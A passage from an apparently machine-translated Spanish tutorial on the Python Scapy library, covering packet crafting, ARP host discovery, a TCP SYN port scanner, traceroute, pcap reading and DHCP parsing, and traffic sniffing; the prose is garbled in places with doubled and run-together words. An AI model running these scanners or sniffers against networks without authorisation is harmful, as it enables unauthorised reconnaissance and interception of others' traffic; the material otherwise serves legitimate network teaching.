chksum = None
id = 0x0
seq = 0x0
unused = ''
>>> icmp_packet.show2()
###[ IP ]###
version = 4
ihl =5
tos = 0x0
len = 28
id =1
flags =
frag =0
ttl = 64
proto = icmp
chksum = 0x8bde
src = 192.168.18.21
dst = 151.101.132.223
\options \
###[ ICMP ]###
type = echo-request
code =0
chksum = 0xf7ff
id = 0x0
seq = 0x0
unused = ''
Con lo siguientecomando, podemos ver la estructura de un
paquete particular:
>>> ls(icmp_packet)
version : BitField (4 bits) =4 ('4')
ihl : BitField (4 bits) = None ('None')
tos : XByteField =0 ('0')
len : ShortField = None ('None')
id : ShortField =1 ('1')
flags : FlagsField = <Flag 0 ()> ('<Flag 0
()>')
frag : BitField (13 bits) =0 ('0')
ttl : ByteField = 64 ('64')
proto : ByteEnumField =1 ('0')
chksum : XShortField = None ('None')
src : SourceIPField = '192.168.18.21' ('None')
dst : DestIPField =
Net("www.python.org/32") ('None')
options : PacketListField = [] ('[]')
Scapy creaAnaliza los paquetes capa por capa. Los paquetes en
scapy son diccionarios de Python, por lo que cada paquete es
un conjunto de diccionarios anidados y cada capa es un
diccionario secundario de la capa principal.
El summary()método proporcionará los detalles de las capas de
cada paquete:
>>> icmp_packet[0].summary()
'IP / ICMP 192.168.18.21 > Net("www.python.org/32") echo-
request 0'
>>> icmp_packet[1].summary()
'ICMP 192.168.18.21 > Net("www.python.org/32") echo-request
0'
También podemos crear un paquete sobre otras capas como
IP/TCP:
>>> tcp_packet=IP(dst='python.org')/TCP(dport=80)
>>> tcp_packet.show()
###[ IP ]###
version = 4
ihl = None
tos = 0x0
len = None
id =1
flags =
frag =0
ttl = 64
proto = tcp
chksum = None
src = 192.168.18.21
dst = Net("python.org/32")
\options \
###[ TCP ]###
sport = ftp_data
dport = www_http
seq =0
ack =0
dataofs = None
reserved = 0
flags =S
window = 8192
chksum = None
urgptr =0
options = ''
>>> tcp_packet.show2()
###[ IP ]###
version = 4
ihl =5
tos = 0x0
len = 40
id =1
flags =
frag =0
ttl = 64
proto = tcp
chksum = 0xdd5b
src = 192.168.18.21
dst = 138.197.63.241
\options \
###[ TCP ]###
sport = ftp_data
dport = www_http
seq =0
ack =0
dataofs = 5
reserved = 0
flags =S
window = 8192
chksum = 0xf20a
urgptr =0
options = ''
>>> tcp_packet.summary()
'IP / TCP 192.168.18.21:ftp_data >
Net("python.org/32"):www_http S'
Envío de paquetes con scapy
Para enviar unPaquete en scapy, tenemos disponibles dos
métodos:
send() : trabaja con paquetes en la capa 3
sendp() : trabaja con paquetes en la capa 2
Si necesitamos controlar los paquetes en la capa 3 o IP,
podemos usar [nombre del send()módulo] para enviarlos. Si
necesitamos controlar los paquetes en la capa 2 (Ethernet),
podemos usar [nombre del módulo sendp()]. Podemos usar
el help()método en estas dos funciones del
módulo scapy.sendrecvpara obtener información de los
parámetros:
>>> help(send)
send(x, iface=None, **kargs)
Send packets at layer 3
:param x: the packets
:param inter: time (in s) between two packets (default 0)
:param loop: send packet indefinetly (default 0)
:param count: number of packets to send (default None=1)
:param verbose: verbose mode (default None=conf.verbose)
:param realtime: check that a packet was sent before
sending the next one
:param return_packets: return the sent packets
:param socket: the socket to use (default is
conf.L3socket(kargs))
:param iface: the interface to send the packets on
:param monitor: (not on linux) send in monitor mode
:returns: None
>>> help(sendp)
sendp(x, iface=None, iface_hint=None, socket=None, **kargs)
Send packets at layer 2
Con este send()método podemos enviar un paquete específico
en la capa 3 de la siguiente manera:
>> send(packet)
Para enviar un paquete de capa 2, podemos usar
el sendp()siguiente método. Para ello, necesitamos agregar una
capa Ethernet y proporcionar la interfaz correcta para enviar el
paquete:
>>> sendp(Ether()/IP(dst="packtpub.com")/ICMP()/"Layer 2
packet",iface="<interface>")
Como vimos antes, estos métodos proporcionan algunos
parámetros. Por ejemplo, con las opciones intery loop,
podemos enviar el paquete indefinidamente cada N segundos:
>>> sendp(packet, loop=1, inter=1)
Los métodos sendp()y send()funcionan de manera similar; la
diferencia es que sendp()funciona en la capa 2. Esto significa
que no son necesarias rutas del sistema y la información se
enviará directamente a través del adaptador de red indicado
como parámetro de la función.
La informaciónSe enviará aunque aparentemente no haya
comunicación a través de ninguna ruta del sistema. Esta
función también permite especificar las direcciones MAC del
destino. Si indicamos las direcciones MAC, scapy intentará
resolverlas automáticamente con direcciones locales y
remotas.
En el siguiente comando, generamos un paquete con las capas
Ethernet, IP e ICMP. Gracias a la capa Ether, podemos obtener
las direcciones MAC de origen y destino de este paquete:
>>> packet = Ether()/IP(dst="python.org")/ICMP()
>>> packet.show()
###[ Ethernet ]###
dst = f4:1d:6b:dd:14:d0
src = a4:4e:31:d8:c2:80
type = IPv4
También podríamos ejecutar estas operaciones desde un script
de Python. En el siguiente ejemplo, creamos un paquete ICMP
para enviarlo al dominio python.org. Puede encontrar el
siguiente código en el scapy_icmp_python.pyarchivo dentro de
la scapycarpeta.
from scapy.all import *
packet=IP(dst='www.python.org')/ICMP()
packet.show()
sendp(packet)
Los métodos send()y sendp()nos permiten enviar la información
necesaria a la red, pero no nos permiten recibir las respuestas.
Hay muchas maneras de recibir respuestas de los paquetes
que generamos, pero la más útil es usar los métodos de la
familia sr (derivados del acrónimo: enviar y recibir ). La
familia de métodos para los paquetes enviados y recibidos
incluye lo siguiente:
sr (...) : Envía y recibe un paquete o una lista de
paquetes a la red. Espera hasta recibir una respuesta para
todos los paquetes enviados. Es importante tener en
cuenta que esta función funciona en la capa 3. En otras
palabras, para saber cómo enviar los paquetes, utilice las
rutas del sistema. Si no hay una ruta para enviar el
paquete o los paquetes al destino deseado, no se pueden
enviar.
sr1 (...) : Funciona igual que los sr (...)métodos excepto
que solo captura la primera respuesta recibida e ignora
las demás.
srp (...) : Funciona igual que el sr (...)método anterior,
pero en la capa 2. Permite enviar información a través de
una interfaz específica. La información siempre se
enviará, incluso si no hay una ruta.
srp1 (...) : Su funcionamiento es idéntico al sr1
(...)método pero trabaja en la capa 2.
srbt (...) : Envía información a través de una conexión
Bluetooth.
srloop (...) : Nos permite enviar y recibir
información N veces. Esto significa que podemos enviar
un paquete tres veces y, por lo tanto, recibiremos la
respuesta a los tres paquetes, en orden consecutivo.
También nos permite especificar las acciones que se
deben tomar cuando se recibe un paquete y cuando no se
recibe respuesta.
srploop (...) : Lo mismo que srlooppero funciona en la
capa 2.
Si queremosPara enviar y recibir paquetes con la posibilidad de
ver el paquete de respuesta, este sr1()método puede ser útil.
En el siguiente ejemplo, creamos un paquete ICMP y lo
enviamos con sr1():
>>> packet=IP(dst='www.python.org')/ICMP()
>>> sr1(packet)
Begin emission:
Finished sending 1 packets.
.*
Received 2 packets, got 1 answers, remaining 0 packets
<IP version=4 ihl=5 tos=0x0 len=28 id=52517 flags= frag=0
ttl=59 proto=icmp chksum=0xc3b9 src=151.101.132.223
dst=192.168.18.21 |<ICMP type=echo-reply code=0
chksum=0x0 id=0x0 seq=0x0 |>>
El paquete anterior es la respuesta a una conexión TCP desde
el dominio Python, donde podemos ver que tiene dos capas (IP
e ICMP). De forma similar, podemos trabajar con scapy desde
el script de Python. El siguiente script nos permite conectarnos
con el dominio Python, generando un paquete con tres capas.
Puede encontrar el siguiente código en
el scapy_send_receive.pyarchivo dentro de la scapycarpeta.
from scapy.all import *
packet=Ether()/IP(dst='www.python.org')/
TCP(dport=80,flags="S")
packet.show()
srp1(packet, timeout=10)
Otro uso interesante del srp()método junto con las capas Ether
y ARP es obtener laHosts activos en un segmento de red. Por
ejemplo, para escanear los hosts de nuestra subred, bastaría
con ejecutar el srp()método y mostrar los valores de los hosts
activos:
>>> answer,unanswer =
srp(Ether(dst="ff:ff:ff:ff:ff")/ARP(pdst="192.168.18.0/24"),timeo
ut=2)
Begin emission:
Finished sending 256 packets.
*.*..................................................................
Received 70 packets, got 2 answers, remaining 254 packets
>>> answer.summary()
Ether / ARP who has 192.168.18.1 says 192.168.18.21 ==>
Ether / ARP is at f4:1d:6b:dd:14:d0 says 192.168.18.1
Ether / ARP who has 192.168.18.44 says 192.168.18.21 ==>
Ether / ARP is at e4:75:dc:b3:0e:ec says 192.168.18.44
Otra característica interesante es la posibilidad de realizar
consultas DNS para obtener servidores de nombres de dominio.
En el siguiente ejemplo, creamos un paquete con las capas IP,
UDP y DNS del nombre de dominio a consultar. Posteriormente,
enviamos este paquete y obtenemos el paquete de respuesta.
Puede encontrar el siguiente código en
el scapy_query_dns.pyarchivo dentro de la scapycarpeta:
from scapy.all import *
def queryDNS(dnsServer,dominio):
packet_dns=
IP(dst=dnsServer)/UDP(dport=53)/DNS(rd=1,qd=DNSQR(qnam
e=dominio))
response_packet = sr1(packet_dns,verbose=1)
print(response_packet.show())
return response_packet[DNS].summary()
if __name__ == "__main__":
print (queryDNS("8.8.8.8","www.python.org"))
En el código anterior, podemos ver la estructura del paquete
de consulta DNS, que es un paquete UDP sobre el puerto 53y el
servidor de nombres y el dominio indicados. Al ejecutar el
script anterior, podemos ver el servidor de nombres del
dominio www.python.org.
$ sudo python scapy_query_dns.py
Begin emission:
Finished sending 1 packets.
Received 2 packets, got 1 answers, remaining 0 packets
###[ IP ]###
version = 4
ihl =5
tos = 0x0
len = 121
id = 57690
flags =
frag =0
ttl = 122
proto = udp
chksum = 0x7bd2
src = 8.8.8.8
dst = 192.168.18.143
\options \
###[ UDP ]###
sport = domain
dport = domain
len = 101
chksum = 0xbde9
###[ DNS ]###
id =0
qr =1
opcode = QUERY
aa =0
tc =0
rd =1
ra =1
z =0
ad =0
cd =0
rcode = ok
qdcount = 1
ancount = 2
nscount = 0
arcount = 0
\qd \
|###[ DNS Question Record ]###
| qname = 'www.python.org.'
| qtype =A
| qclass = IN
\an \
|###[ DNS Resource Record ]###
| rrname = 'www.python.org.'
| type = CNAME
| rclass = IN
| ttl = 21572
| rdlen = None
| rdata = 'dualstack.python.map.fastly.net.'
|###[ DNS Resource Record ]###
| rrname = 'dualstack.python.map.fastly.net.'
| type =A
| rclass = IN
| ttl =2
| rdlen = None
| rdata = 151.101.132.223
ns = None
ar = None
None
DNS Ans "b'dualstack.python.map.fastly.net.'"
Descubrimiento de redes con scapy
HayDiferentes métodos para verificar hosts activos dentro de
una red. Por ejemplo, con el siguiente comando, podemos crear
un paquete ICMP a través de la capa IP y enviarlo por la red
mediante el sr1()método:
>>> test_icmp = sr1(IP(dst="45.33.32.156")/ICMP())
Begin emission:
Finished sending 1 packets.
.*
Received 2 packets, got 1 answers, remaining 0 packets
Podemos ver los resultados de la respuesta usando
el display()método y la test_icmpvariable:
>>> test_icmp.display()
###[ IP ]###
version = 4
ihl =5
tos = 0x28
len = 28
id = 62692
flags =
frag =0
ttl = 44
proto = icmp
chksum = 0x795a
src = 45.33.32.156
dst = 192.168.18.21
\options \
###[ ICMP ]###
type = echo-reply
code =0
chksum = 0x0
id = 0x0
seq = 0x0
unused = ''
Con elCon el siguiente script, podemos comprobar si un host
está activo. El código se encuentra en
el scapy_icmp_target.pyarchivo de la scapycarpeta:
import sys
from scapy.all import *
target = sys.argv[1]
icmp = IP(dst=target)/ICMP()
recv = sr1(icmp,timeout=10)
if recv is not None:
print("Target IP is live")
Al ejecutar el script anterior, podremos ver en la salida
información sobre los paquetes recibidos.
$ sudo python scapy_icmp_target.py 45.33.32.156
Begin emission:
Finished sending 1 packets.
...........................................................*
Received 60 packets, got 1 answers, remaining 0 packets
Target IP is live
Otro método para verificar hosts activos en redes internas y
externas es el método de ping TCP SYN. Puede encontrar el
siguiente código en el scapy_tcp_target.pyarchivo dentro de
la scapycarpeta:
from scapy.all import *
target = sys.argv[1]
port = int(sys.argv[2])
ans,unans = sr(IP(dst=target)/TCP(dport=port,flags="S"))
ans.summary()
En el script anterior, usamos el sr()método para enviar un
paquete y recibir una respuesta:
$ sudo python scapy_tcp_target.py 45.33.32.156 80
Begin emission:
Finished sending 1 packets.
...............*
Received 16 packets, got 1 answers, remaining 0 packets
IP / TCP 192.168.18.21:ftp_data > 45.33.32.156:www_http S
==> IP / TCP 45.33.32.156:www_http > 192.168.18.21:ftp_data
SA
CuandoAl ejecutar el script anterior, podemos apuntar a la IP y
a los metadatos ya que recibimos un paquete de confirmación
de respuesta.
Escaneo de puertos y traceroute con scapy
De la misma manera que hacemos escaneo de puertos con
herramientas como nmap, también podemos ejecutar un
escáner de puertos simple que nos diga si un host y puertos
específicos están abiertos, cerrados o filtrados con scapy.
Escaneo de puertos con scapy
En elEn el siguiente ejemplo, definimos
el analyze_port()método que proporciona los
parámetros host, porty verbose_level. Este método se encarga
de enviar un paquete TCP y esperar su respuesta. Al procesar
la respuesta, el objetivo es comprobar en la capa TCP si el
indicador recibido corresponde a un puerto abierto, cerrado o
filtrado. Puede encontrar el siguiente código en
el scapy_port_scan.pyarchivo dentro de
la scapycarpeta port_scanning:
import sys
from scapy.all import *
import logging
logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
def analyze_port(host, port, verbose_level):
print("[+] Scanning port %s" % port)
packet = IP(dst=host)/TCP(dport=port,flags="S")
response = sr1(packet,timeout=0.5,verbose=verbose_level)
if response is not None and response.haslayer(TCP):
if response[TCP].flags == 18:
print("Port "+str(port)+" is open!")
sr(IP(dst=target)/TCP(dport=response.sport,flags="R"),t
imeout=0.5, verbose=0)
elif response.haslayer(TCP) and
response.getlayer(TCP).flags == 0x14:
print("Port:"+str(port)+" Closed")
elif response.haslayer(ICMP):
if(int(response.getlayer(ICMP).type)==3 and
int(response.getlayer(ICMP).code) in [1,2,3,9,10,13]):
print("Port:"+str(port)+" Filtered")
En nuestra principalprograma, manejamos los parámetros
relacionados con el rango de hos y puertos y otro parámetro
que indica el nivel de depuración:
if __name__ == '__main__':
if len(sys.argv) !=5:
print("usage: %s target startport endport verbose_level" %
(sys.argv[0]))
sys.exit(0)
target = str(sys.argv[1])
start_port = int(sys.argv[2])
end_port = int(sys.argv[3])+1
verbose_level = int(str(sys.argv[4]))
print("Scanning "+target+" for open TCP ports\n")
for port in range(start_port,end_port):
analyze_port(target, port, verbose_level)
Al ejecutar el script anterior en un host específico y un rango
de puertos, verifica su estado para cada puerto y muestra el
resultado en la pantalla:
$ sudo python scapy_port_scan.py scanme.nmap.org 20 23 0
Scanning scanme.nmap.org for open TCP ports
[+] Scanning port 20
Port:20 Closed
[+] Scanning port 21
Port:21 Closed
[+] Scanning port 22
Port 22 is open!
[+] Scanning port 23
Port:23 Closed
Scan complete!
También tenemos la opción de ejecutar el script y mostrar un
mayor nivel de detalle si usamos el último
parámetro verbose_level=1.
$ sudo python scapy_port_scan.py scanme.nmap.org 79 80 1
Scanning scanme.nmap.org for open TCP ports
[+] Scanning port 79
Begin emission:
Finished sending 1 packets.
Received 20 packets, got 1 answers, remaining 0 packets
Port:79 Closed
[+] Scanning port 80
Begin emission:
Finished sending 1 packets.
Received 10 packets, got 1 answers, remaining 0 packets
Port 80 is open!
Scan complete!
Seguimospara analizar el traceroutecomando, que puede ser
útil para ver la ruta de nuestros paquetes desde una IP de
origen a una IP de destino.
Traceroute con scapy
Cuando tuAl enviar paquetes, cada paquete tiene un atributo
TTL. Este indica los enrutadores por los que pasa el paquete
para llegar a la máquina de destino. Cuando una máquina
recibe un paquete IP, reduce el atributo TTL en 1 y lo reenvía.
Si el TTL del paquete se agota antes de que responda, la
máquina de destino enviará un paquete ICMP con un mensaje
de error.
Scapy proporciona una función incorporada para el seguimiento
de ruta como se muestra a continuación:
>>> traceroute("45.33.32.156")
Begin emission:
Finished sending 30 packets.
****************************
Received 28 packets, got 28 answers, remaining 2 packets
45.33.32.156:tcp80
1 192.168.18.1 11
3 192.168.210.40 11
4 192.168.209.117 11
6 154.54.61.129 11
7 154.54.85.241 11
8 154.54.82.249 11
9 154.54.6.221 11
10 154.54.42.165 11
11 154.54.5.89 11
12 154.54.41.145 11
13 154.54.44.137 11
14 154.54.43.70 11
15 154.54.1.162 11
16 38.142.11.154 11
17 173.230.159.65 11
18 45.33.32.156 SA
19 45.33.32.156 SA
20 45.33.32.156 SA
21 45.33.32.156 SA
22 45.33.32.156 SA
23 45.33.32.156 SA
24 45.33.32.156 SA
25 45.33.32.156 SA
26 45.33.32.156 SA
27 45.33.32.156 SA
28 45.33.32.156 SA
29 45.33.32.156 SA
30 45.33.32.156 SA
(<Traceroute: TCP:13 UDP:0 ICMP:15 Other:0>,
<Unanswered: TCP:2 UDP:0 ICMP:0 Other:0>)
Herramientas como tracerouteEnviar paquetes con un valor
TTL determinado y esperar la respuesta antes de enviar el
siguiente paquete puede ralentizar el proceso, especialmente
si un nodo de red no responde. Para simular
el traceroutecomando, podríamos enviar paquetes ICMP y
establecer el TTL en 30 paquetes, que pueden llegar a
cualquier nodo de internet.
El valor TTL determina el tiempo o número de saltos que un
paquete de datos realizará antes de que un enrutador lo
rechace. Al asignar un TTL a un paquete de datos, este lleva
este número como un valor numérico en segundos. Cada vez
que el paquete llega a un enrutador, este resta 1 al valor TTL y
lo pasa al siguiente paso de la cadena:
>>> ans,unans = sr(IP(dst="45.33.32.156",ttl=(1,30))/ICMP())
>>> ans.summary(lambda sr:sr[1].sprintf("%IP.src%"))
192.168.18.1
192.168.210.40
10.10.50.51
192.168.209.117
154.54.61.129
154.54.85.241
154.54.82.249
154.54.6.221
154.54.42.165
154.54.5.89
154.54.41.145
154.54.43.70
38.142.11.154
173.230.159.81
154.54.44.137
154.54.1.162
45.33.32.156
UsandoLos paquetes scapy, IP y UDP se pueden construir de la
siguiente manera:
>>> from scapy.all import *
>>> ip_packet = IP(dst="google.com", ttl=10)
>>> udp_packet = UDP(dport=40000)
>>> full_packet = IP(dst="google.com", ttl=10) /
UDP(dport=40000)
Para enviar el paquete send()se utiliza la función:
>>> send(full_packet)
Como se explicó anteriormente, los paquetes IP incluyen un
atributo (TTL) que indica su vida útil. De esta forma, cada vez
que un dispositivo recibe un paquete IP, reduce el TTL (vida útil
del paquete) en 1 y lo pasa a la siguiente máquina. En
resumen, es una forma inteligente de evitar que los paquetes
se repita sin fin.
Para implementar traceroute, enviamos un paquete UDP TTL =
i for i = 1,2,3, ny comprobamos el paquete de respuesta para
ver si hemos llegado al destino y si necesitamos continuar
realizando saltos para cada host al que llegamos. Puede
encontrar el siguiente código en el scapy_traceroute.pyarchivo
dentro de la scapycarpeta:
from scapy.all import *
host = "45.33.32.156"
for i in range(1, 20):
packet = IP(dst=host, ttl=i) / UDP(dport=33434)
# Send the packet and get a reply
reply = sr1(packet, verbose=0,timeout=1)
if reply is None:
pass
elif reply.type == 3:
# We've reached our destination
print("Done!", reply.src)
break
else:
# We're in the middle somewhere
print("%d hops away: " % i , reply.src)
En elEn la siguiente salida, podemos ver el resultado de
ejecutar el script traceroute. Nuestro objetivo es
la 45.33.32.156dirección IP y podemos ver los saltos hasta
alcanzarlo:
$ sudo python scapy_traceroute.py
1 hops away: 192.168.18.1
2 hops away: 10.10.50.51
3 hops away: 192.168.210.40
4 hops away: 192.168.209.117
6 hops away: 154.54.61.129
7 hops away: 154.54.85.241
8 hops away: 154.54.82.249
9 hops away: 154.54.6.221
10 hops away: 154.54.42.165
11 hops away: 154.54.5.89
12 hops away: 154.54.41.145
13 hops away: 154.54.44.137
14 hops away: 154.54.43.70
15 hops away: 154.54.1.162
16 hops away: 38.142.11.154
17 hops away: 173.230.159.65
Done! 45.33.32.156
Por defecto, el paquete se envía por internet, pero su ruta
puede variar en caso de fallo de enlace o cambio de proveedor
de conexión. Una vez enviado al proveedor de acceso, el
paquete se envía a los enrutadores intermedios que lo
transportarán a su destino. También es posible que nunca
llegue a su destino si el número de nodos o máquinas
intermedias es excesivo y la vida útil del paquete expira.
Lectura de archivos pcap con scapy
En esteEn esta sección, aprenderá los conceptos básicos de la
lectura de archivos pcap. PCAP ( Packet CAPture ) se refiere
aLa API que le permite capturar paquetes de red
paraProcesamiento. El formato PCAP es estándar y lo utilizan
herramientas de análisis de red conocidas como TCPDump,
WinDump, Wireshark, TShark y Ettercap. Scapy incorpora dos
funciones para trabajar con archivos PCAP, lo que nos permitirá
leer y escribir sobre ellos:
rdcap() : Lee y carga un .pcaparchivo.
wdcap() : escribe el contenido de una lista de paquetes
en un .pcaparchivo.
ConLa rdpcap()función, podemos leer un archivo pcap y
obtener unlista de paquetes que se pueden manejar
directamente desde Python:
>>> packets = rdpcap('packets.pcap')
>>> packets.summary()
Ether / IP / TCP 10.0.2.15:personal_agent > 10.0.2.2:9170 A /
Padding
Ether / IP / TCP 10.0.2.15:personal_agent > 10.0.2.2:9170 PA /
Raw
Ether / IP / TCP 10.0.2.2:9170 > 10.0.2.15:personal_agent A
Ether / IP / TCP 10.0.2.2:9170 > 10.0.2.15:personal_agent PA /
Raw
Ether / IP / TCP 10.0.2.15:personal_agent > 10.0.2.2:9170 A /
Padding
…..
>>> packets.sessions()
{'ARP 10.0.2.2 > 10.0.2.15': <PacketList: TCP:0 UDP:0 ICMP:0
Other:2>,
'IPv6 :: > ff02::16 nh=Hop-by-Hop Option Header': <PacketList:
TCP:0 UDP:0 ICMP:0 Other:1>,
'IPv6 :: > ff02::1:ff12:3456 nh=ICMPv6': <PacketList: TCP:0
UDP:0 ICMP:0 Other:1>,
'IPv6 fe80::5054:ff:fe12:3456 > ff02::2 nh=ICMPv6':
<PacketList: TCP:0 UDP:0 ICMP:0 Other:3>,
'ARP 10.0.2.15 > 10.0.2.2': <PacketList: TCP:0 UDP:0 ICMP:0
Other:1>,
'IPv6 fe80::5054:ff:fe12:3456 > ff02::16 nh=Hop-by-Hop Option
Header': <PacketList: TCP:0 UDP:0 ICMP:0 Other:1>,
'TCP 10.0.2.2:9170 > 10.0.2.15:5555': <PacketList: TCP:3338
UDP:0 ICMP:0 Other:0>,
'TCP 10.0.2.15:5555 > 10.0.2.2:9170': <PacketList: TCP:2876
UDP:0 ICMP:0 Other:0>,
…..
>>> packets.show()
17754 Ether / IP / TCP 10.0.2.15:personal_agent >
10.0.2.2:9170 A / Padding
17755 Ether / IP / TCP 10.0.2.15:personal_agent >
10.0.2.2:9170 PA / Raw
17756 Ether / IP / TCP 10.0.2.2:9170 >
10.0.2.15:personal_agent A
17757 Ether / IP / TCP 10.0.2.2:9170 >
10.0.2.15:personal_agent PA / Raw
17758 Ether / IP / TCP 10.0.2.15:personal_agent >
10.0.2.2:9170 A / Padding
Para ver en detalle los datos de un paquete, podemos iterar
sobre la lista de paquetes:
>>> for packet in packets:
... packet.show()
###[ Ethernet ]###
dst = ff:ff:ff:ff:ff:ff
src = cc:00:0a:c4:00:00
type = IPv4
###[ IP ]###
version = 4
ihl =5
tos = 0x0
len = 604
id =5
flags =
frag =0
ttl = 255
proto = udp
chksum = 0xb98c
src = 0.0.0.0
dst = 255.255.255.255
EstambiénEs posible acceder al paquete como si fuera una
matriz o una estructura de datos de lista:
>>> len(packets)
12
>>> print(packets[0].show())
###[ Ethernet ]###
dst = ff:ff:ff:ff:ff:ff
src = cc:00:0a:c4:00:00
type = IPv4
###[ IP ]###
version = 4
ihl =5
tos = 0x0
len = 604
id =5
flags =
frag =0
ttl = 255
proto = udp
chksum = 0xb98c
src = 0.0.0.0
dst = 255.255.255.255
ElEl siguiente método get_packet_layer(packet)nos permitePara
obtener las capas de un paquete:
>>> def get_packet_layer(packet):
... yield packet.name
... while packet.payload:
... packet = packet.payload
... yield packet.name
>>> for packet in packets:
... layers = list(get_packet_layer(packet))
... print("/".join(layers))
...
Ethernet/IP/UDP/BOOTP/DHCP options
.............
Leer solicitudes DHCP
MuchosLos enrutadores utilizan el Protocolo de
Configuración Dinámica de Host ( DHCP ) para asignar
automáticamente direcciones IP a los dispositivos de red. En
DHCP, el cliente DHCP (dispositivo de red) primero envía
un discovermensaje DHCP a todos los destinos (emisiones) en
la Red de Direcciones Locales ( LAN ) para consultar al
servidor DHCP (enrutador de banda ancha).
En la siguiente
URL, https://www.cloudshark.org/captures/0009d5398f37
, puede obtener un ejemplo de archivo de captura con
solicitudes DHCP.
Figura 5.3: Solicitudes DHCP
En muchosEn algunos casos, las opciones del mensaje de
descubrimiento de DHCP incluyen el nombre de host del
cliente. Nuestro objetivo es extraer los identificadores del
cliente y del servidor. Puede encontrar el siguiente código en
el scapy_dhcp_discover_host.pyarchivo dentro de
la scapycarpeta:
from scapy.all import *
pcap_path = "packets_DHCP.cap"
packets = rdpcap(pcap_path)
for packet in packets:
try:
packet.show()
options = packet[DHCP].options
for option in options:
if option[0] == 'client_id':
client_id = option[1].decode()
if option[0] == 'server_id':
server_id = option[1]
print('ServerID: {} | ClientID: {}'.format(server_id,
client_id))
except IndexError as error:
print(error)
En el código anterior, leemos los paquetes DHCP del archivo
para extraer los identificadores de cliente y servidor de cada
paquete. Puede encontrar el siguiente código en
el scapy_read_dhcp_pcap.pyarchivo.
from scapy.all import *
from collections import Counter
from prettytable import PrettyTable
packets = rdpcap('packets_DHCP.cap')
srcIP=[]
for packet in packets:
if IP in packet:
try:
srcIP.append(packet[IP].src)
except:
pass
counter=Counter()
for ip in srcIP:
counter[ip] += 1
table= PrettyTable(["IP", "Count"])
for ip, count in counter.most_common():
table.add_row([ip, count])
print(table)
En elEn el código anterior, primero le indicamos a scapy que
lea todos los paquetes del PCAP en una lista mediante
la rdpcapfunción. Los paquetes en scapy tienen elementos;
solo trabajaremos con los datos IP de los paquetes. Cada
paquete tiene atributos como la IP de origen, la IP de destino,
el puerto de origen, el puerto de destino, bytes, etc.
El script anterior utiliza un módulo de Python
llamado prettytable , que puedes instalar con el siguiente
comando:
$ pip install PrettyTable
Al ejecutar el script anterior, podemos ver una tabla con un
resumen de las direcciones IP y un recuento para cada una:
$ sudo python read_pcap.py
+-------------+-------+
| IP | Count |
+-------------+-------+
| 192.168.0.1 | 6 |
| 192.168.0.3 | 4 |
| 0.0.0.0 | 2 |
+-------------+-------+
En el ejemplo anterior, leemos un archivo PCAP y almacenamos
la IP de origen en una lista. Para ello, recorreremos los
paquetes en bucle usando un bloque try/except, ya que no
todos los paquetes tendrán la información deseada. Ahora que
tenemos una lista de IP de los paquetes, usaremos un contador
para crear un recuento. A continuación, recorreremos los datos
en bucle y los añadiremos a la tabla de mayor a menor.
Escribiendo un archivo pcap
ConCon esta wrpcap()función, podemos almacenar los
paquetes capturados en un archivo pcap. En el siguiente
ejemplo, capturamos paquetes TCP para transmisiones HTTP en
el puerto 80y los guardamos en un archivo pcap. Puede
encontrar el siguiente código en
el scapy_write_packets_filter.pyarchivo dentro de
la scapycarpeta:
from scapy.all import *
def sniffPackets(packet):
if packet.haslayer(IP):
ip_layer = packet.getlayer(IP)
packet_src=ip_layer.src
packet_dst=ip_layer.dst
print("[+] New Packet: {src} ->
{dst}".format(src=packet_src, dst=packet_dst))
if __name__ == '__main__':
interfaces = get_if_list()
print(interfaces)
for interface in interfaces:
print(interface)
interface = input("Enter interface name to sniff: ")
print("Sniffing interface " + interface)
packets = sniff(iface=interface,filter="tcp and (port 443 or
port 80)", prn=sniffPackets, count=100)
wrpcap('packets.pcap',packets)
Cuandoejecutando el script anterior, capturamos los primeros
100 paquetes que tengan puertos de destino 80o 443para la
interfaz de red seleccionada y los resultados se almacenan en
el packets.pcaparchivo.
Detectar paquetes con scapy
Uno deelUna de las funciones que ofrece Scapy es rastrear los
paquetes de red que pasan por una interfaz. Creemos un script
de Python simple para rastrear el tráfico en la interfaz de red
de su equipo local. Scapy proporciona un método para rastrear
paquetes y analizar su contenido:
>>> sniff(filter="",iface="any",prn=function,count=N)
Con la snifffunción podremos capturar paquetes de la misma
forma que lo hacen herramientas
como tcpdump o Wireshark , indicando la interfaz de red de
la que queremos recoger el tráfico generado y un contador que
indica el número de paquetes que queremos capturar:
>>> packets = sniff (iface = "wlo1", count = 3)
Ahora veremos cada parámetro de la snifffunción en detalle.
Los argumentos del sniff()método son los siguientes:
>>> help(sniff)
Help on function sniff in module scapy.sendrecv:
sniff(*args, **kwargs)
Sniff packets and return a list of packets.
Args:
count: number of packets to capture. 0 means infinity.
store: whether to store sniffed packets or discard them
prn: function to apply to each packet. If something is
returned, it
is displayed.
--Ex: prn = lambda x: x.summary()
session: a session = a flow decoder used to handle stream
of packets.
--Ex: session=TCPSession
See below for more details.
filter: BPF filter to apply.
lfilter: Python function applied to each packet to
determine if
further action may be done.
--Ex: lfilter = lambda x: x.haslayer(Padding)
offline: PCAP file (or list of PCAP files) to read packets
from,
instead of sniffing them
quiet: when set to True, the process stderr is discarded
(default: False).
timeout: stop sniffing after a given time (default: None).
L2socket: use the provided L2socket (default: use
conf.L2listen).
opened_socket: provide an object (or a list of objects)
ready to use
.recv() on.
stop_filter: Python function applied to each packet to
determine if
we have to stop the capture after this packet.
--Ex: stop_filter = lambda x: x.haslayer(TCP)
EntreEntre los parámetros anteriores, podemos destacar
el prnparámetro queProporciona la función que se aplicará a
cada paquete. Este parámetro estará presente en muchas otras
funciones y se refiere a una función como parámetro de
entrada. En el caso de la sniff()función, esta se aplicará a cada
paquete capturado.
De esta manera, cada vez que la sniff()función intercepte un
paquete, la llamará con el paquete interceptado como
parámetro. Esta funcionalidad nos ofrece un gran potencial; por
ejemplo, podríamos crear un script que intercepte todas las
comunicaciones y almacene todos los hosts detectados en la
red:
>>> packets = sniff(filter="tcp", iface="wlo1", prn=lambda
x:x.summary())
Ether / IP / TCP 52.16.152.198:https > 192.168.18.21:34662 A
Ether / IP / TCP 52.16.152.198:https > 192.168.18.21:34662
PA / Raw
Ether / IP / TCP 52.16.152.198:https > 192.168.18.21:34662
PA / Raw
Ether / IP / TCP 192.168.18.21:34662 > 52.16.152.198:https A
Ether / IP / TCP 192.168.18.21:54230 > 54.78.134.154:https
PA / Raw
...
Scapy tambiénAdmite el formato Berkeley Packet
Filter ( BPF ). Es un formato estándar para aplicar filtros a
paquetes de red. Estos filtros pueden aplicarse a un conjunto
